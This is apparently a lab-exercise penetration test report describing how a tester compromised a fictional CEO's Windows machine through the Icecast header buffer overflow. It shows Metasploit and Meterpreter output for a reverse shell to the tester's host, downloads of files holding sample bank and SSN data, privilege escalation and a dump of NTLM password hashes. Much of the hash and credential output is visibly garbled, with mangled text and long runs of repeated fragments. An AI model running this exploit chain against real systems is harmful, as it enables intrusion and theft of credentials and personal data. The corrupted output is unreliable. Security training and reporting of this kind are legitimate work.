GoodSecurity Penetration Test Report

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
10/31/2021

1.0 High-Level Summary

GoodSecurity was tasked with performing an internal penetration test on GoodCorp's CEO, Hans Gruber. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Hans' computer and determine if it is at risk. GoodSecurity's overall objective was to exploit any vulnerable software and find the secret recipe file on Hans' computer, while reporting the findings back to GoodCorp.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Hans' desktop. When performing the attacks, GoodSecurity was able to gain access to his machine and find the secret recipe file by exploit two programs that had major vulnerabilities. The details of the attack can be found in the 'Findings' category.

2.0 Findings



192.168.0.20

Hostname:

MSEDGEWIN10

Vulnerability Exploited:

Metasploit: exploit/http/icecast_header

```
msf5 exploit(
    Started reverse TCP handler on 192.168.0.8:4444
    Sending stage (180291 bytes) to 192.168.0.20
   Meterpreter session 2 opened (192.168.0.8:4444 -> 192.168.0.20:49733) at 2020-11-01 10:08:23 -0800
<u>meterpreter</u> > shell
Process 924 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1518]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Program Files (x86)\Icecast2 Win32>systeminfo
systeminfo
                           MSEDGEWIN10
Host Name:
OS Name:
                           Microsoft Windows 10 Enterprise Evaluation
OS Version:
                            10.0.17763 N/A Build 17763
                           Microsoft Corporation
OS Manufacturer:
OS Configuration:
                           Standalone Workstation
OS Build Type:
Registered Owner:
                           Multiprocessor Free
Registered Organization: Microsoft
Product ID:
                           00329-20000-00001-AA236
                            3/19/2019, 5:59:35 AM
Original Install Date:
System Boot Time:
                           11/1/2020, 10:47:11 AM
System Manufacturer:
                           Microsoft Corporation
System Model:
                           Virtual Machine
System Type:
                           x64-based PC
Processor(s):
                            1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2295 Mhz
American Megatrends Inc. 090007 , 5/18/2018
BIOS Version:
Windows Directory:
                           C:\Windows
System Directory:
                           C:\Windows\system32
Boot Device:
                           \Device\HarddiskVolume1
System Locale:
                           en-us; English (United States)
Input Locale:
                            en-us; English (United States)
Time Zone:
                            (UTC-08:00) Pacific Time (US & Canada)
                            1,934 MB
Total Physical Memory:
Available Physical Memory: 718 MB
```

Vulnerability Explanation:

https://www.rapid7.com/db/modules/exploit/windows/http/icecast header/

This exploits a buffer overflow in the header parsing of icecast. On Win32 systems this overwrites the saved insutction pointer. The exploit uses ExitThread, which leaves icecast believing the thread is still in use. Even exiting does not decrement the thread counter, which will result in the threadpool limit being maxed.

Severity:

The vulnerability is serious. It can result in loss of sensitive data. The skill ceiling to utilize these vulnerabilities is very low, making it more likely that it will be used.

Proof of Concept:

Location of data:

exfiltration of data:

```
meterpreter > download 'c:\users\ieuser\documents\user.secretfile.txt'
[*] Downloading: c:\users\ieuser\documents\user.secretfile.txt -> user.secretfile.txt
[*] Downloaded 161.00 B of 161.00 B (100.0%): c:\users\ieuser\documents\user.secretfile.txt -> user.secretfile.txt
[*] download : c:\users\ieuser\documents\user.secretfile.txt -> user.secretfile.txt
meterpreter > download 'c:\users\ieuser\documents\drinks.recipe.txt
[*] Downloading: c:\users\ieuser\documents\drinks.recipe.txt -> drinks.recipe.txt
[*] Downloaded 48.00 B of 48.00 B (100.0%): c:\users\ieuser\documents\drinks.recipe.txt -> drinks.recipe.txt -> drinks.recipe.txt
[*] download : c:\users\ieuser\documents\drinks.recipe.txt -> drinks.recipe.txt
```

Exploitation of data:

```
rootekali: # ls *.txt
drinks.recipe.txt user.secretfile.txt
rootekali: # more user.secretfile.txt
Bank Account Info

Chase Bank
Customer name: Charlie Tuna
Address: 123 Main St., Somewhere USA
Checking Acct#: 1292384-p1
SSN: 239-12-1111
DOB: 02/01/1974
rootekali: # more drinks.recipe.txt
Put the lime in the coconut and drink it all up!
rootekali: #
```

Privilege escalation and password hashes:

```
() > use post/windows/escalate/getsystem
                    This session already has SYSTEM privileges
Post module execution completed
                                                                                                                                                       tayetum) > use post/windows/gather/hashdump
nump) > run
                    Obtaining the boot key...
Calculating the hboot key using SYSKEY ec022a77f903a7e69e603e0c84634ff0...
Obtaining the user list and keys...
Dumping password hints...
    No users with password hints on this system
                    Dumping password hashes...
Administrator:508:aad3b435b51404eeaad3b435b51404ee:fc525c9683c0fe067095ba2ddc971889::
Guest:501:aad3b435b51404eeaad3b435b51404ee:3ld6cfc0d16ac03lb73c50d7c0c085c0::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:3ld6cfc0d16ac03lb73c50d7c0c085c0::
WDAGU11|tyAccount:504:aad3b435b51404eeaad3b435b51404ee:20ff9360f8db0f9cc0fc36af6993b63:::
TEUser:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683c0fc067095ba2ddc971889:::
sysadmin:1003:aad3b435b51404eeaad3b435b51404ee:1b086706526355533da0ldc859d3fc1:::
  [*] Post module execution completed
msf5 post(vinesexygettes/National) > creds
Credentials
                                                                      origin
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       realm private_type JtR Format
                                                                                                                                           service
                                                                  192.168.0.20 445/tcp (smb) administrator
192.168.0.20 445/tcp (smb) guest
192.168.0.20 445/tcp (smb) defaultaccount
192.168.0.20 445/tcp (smb) wdagutilityacc
192.168.0.20 445/tcp (smb) ieuser
192.168.0.20 445/tcp (smb) sysdmin
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          NTLM hash
                                                                                                                                                                                                                                                                                                                                 aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe867895ba2ddc971889
                                                                                                                                                                                                                     administrator aadJob/1505.1404eeaadJob/1505.1404ee: TC225c9603467e67/9950a2dGC971889 guest addbb/1505.1404eeaadJob/1505.1404ee: 31d6c760016ae931b73C5907ee0898C0 addbb/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.1404eeaadJob/1505.14
                                                                                                                                                                        1 >
```

After hash cracking:

```
host origin service public private realm private_type JtR Format

192.168.0.20 445/tcp (smb) administrator private addb435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b51404eeaad3b435b514
```

User passwords for admin and user cracked after hasing

3.0 Recommendations

It is recommended that GoodCorp make upgrading to the latest versions of their software be a priority. Icecast v 2.4.4 is more stable and has patched out vulnerabilities such as those found in this report. If they don't have a good antivirus software contract they should consider using one in the future to protect their systems as they can help identify problems and recommend updates and patches.